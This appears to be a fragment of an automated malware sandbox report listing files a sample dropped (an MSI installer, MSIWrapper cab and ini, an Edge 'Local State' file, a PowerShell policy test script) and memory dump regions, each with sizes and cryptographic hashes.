9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
a17e3a773ce6eacdd5b2e872d42d740f

SHA1
f7d246294de0ab07b7a47867f16ca4ee38094925

SHA256
1356345e9a7df45fa4ec320745878c9b8383fcd5024ed812eb792d9bab1a7fe2

SHA512
902d80cd892882d84d547be087e8983322759e98aa7458d7c41e2d9bcaa45bc66d7c68810016ccc6f36477d014b169cf2861d20bd8a45f2b0c9c28e4267c301f

Download Submit
C:\Users\Admin\AppData\Local\Temp\6ad5feeb-dcc3-4eef-baa3-4bcd42ce30b4.msi

Filesize
1.9MB

MD5
911c7c676d8457767ff6d69ecefa1d79

SHA1
d63ccdb60cd4db63a9ecca34b2e7120571df8a8e

SHA256
b2332c274a55abe231d044ad4e3e64dd37bf3200314c209d5a91ff8ee800cc54

SHA512
503b854ab1f40cb8790393650d9ae32a2e1c3785e0c0aa68d35ca9ca2fcdf52815f1465029f7888b967d5c2d08060ecdce069c1cabaef013f17e1988ffbb9742

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-23b984e5-06d7-498c-a64b-6f6efc3360a5\files.cab

Filesize
1.6MB

MD5
99e7d8d9b0e89b408e27e49c80de5923

SHA1
180428134b266951fb0eaa9d359c886132707d8b

SHA256
a41a2a085b81f2b39d739b3ff75d5ccbb7b8ff4c21b03caec3ca8a721fd158f7

SHA512
895fb9f72055a36bc85dfda6911f9b0ae27ef480aed1e24a7ee7ceeb27df887bb7b8c750796f1e18c2b0a5bebb3bcd400546cc5355450fb8d5d88f3a839c3a17

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-23b984e5-06d7-498c-a64b-6f6efc3360a5\msiwrapper.ini

Filesize
1KB

MD5
a001c07aee7c8b8a8f67a7ba16123cb8

SHA1
a20e9e547cc005c67e6c76ef4bab04a533cd2136

SHA256
92a5934e9c524b27d75df1a6b91d09fdee87a9ffd0bc4443455b2eea07713d94

SHA512
5a8fa1775baa637e006af16ee1d2b236dbe1d18bf7eade64d327deeaf423871d4a28b69a0b949224bad37302a8b892b96d926f37c0134883e725dc40eab18bff

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_03sqvn0t.gr3.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Installer\MSI9E82.tmp

Filesize
208KB

MD5
0c8921bbcc37c6efd34faf44cf3b0cb5

SHA1
dcfa71246157edcd09eecaf9d4c5e360b24b3e49

SHA256
fd622cf73ea951a6de631063aba856487d77745dd1500adca61902b8dde56fe1

SHA512
ed55443e20d40cca90596f0a0542fa5ab83fe0270399adfaafd172987fb813dfd44ec0da0a58c096af3641003f830341fe259ad5bce9823f238ae63b7e11e108

Download Submit
memory/1744-170-0x0000000010000000-0x0000000010731000-memory.dmp

Filesize
7.2MB

Download
memory/5972-178-0x0000000006210000-0x0000000006276000-memory.dmp

Filesize
408KB

Download
memory/5972-205-0x0000000007B20000-0x0000000007BC3000-memory.dmp

Filesize
652KB

Download
memory/5972-176-0x00000000059F0000-0x0000000006018000-memory.dmp

Filesize
6.2MB

Download
memory/5972-179-0x0000000006280000-0x00000000062E6000-memory.dmp

Filesize
408KB

Download
memory/5972-175-0x0000000002FA0000-0x0000000002FD6000-memory.dmp

Filesize
216KB

Download
memory/5972-190-0x00000000064D0000-0x0000000006824000-memory.dmp

Filesize
3.3MB

Download
memory/5972-191-0x00000000068D0000-0x00000000068EE000-memory.dmp

Filesize
120KB

Download
memory/5972-192-0x0000000006E70000-0x0000000006EBC000-memory.dmp

Filesize
304KB

Download
memory/5972-194-0x000000006F970000-0x000000006F9BC000-memory.dmp

Filesize
304KB

Download
memory/5972-193-0x0000000007AE0000-0x0000000007B12000-memory.dmp

Filesize
200KB

Download
memory/5972-204-0x0000000006EC0000-0x0000000006EDE000-memory.dmp

Filesize
120KB

Download
memory/5972-177-0x0000000005950000-0x0000000005972000-memory.dmp

Filesize
136KB

Download
memory/5972-206-0x0000000008250000-0x00000000088CA000-memory.dmp

Filesize
6.5MB

Download
memory/5972-207-0x0000000007C00000-0x0000000007C1A000-memory.dmp

Filesize
104KB

Download
memory/5972-208-0x0000000007C60000-0x0000000007C6A000-memory.dmp

Filesize
40KB

Download
memory/5972-209-0x0000000007E90000-0x0000000007F26000-memory.dmp

Filesize
600KB

Download
memory/5972-210-0x0000000007E00000-0x0000000007E11000-memory.dmp

Filesize
68KB

Download
memory/5972-211-0x0000000007E30000-0x0000000007E3E000-memory.dmp

Filesize
56KB

Download
memory/5972-212-0x0000000007E40000-0x0000000007E54000-memory.dmp

Filesize
80KB

Download
memory/5972-213-0x0000000007F50000-0x0000000007F6A000-memory.dmp

Filesize
104KB

Download
memory/5972-214-0x0000000007E80000-0x0000000007E88000-memory.dmp

Filesize
32KB

Download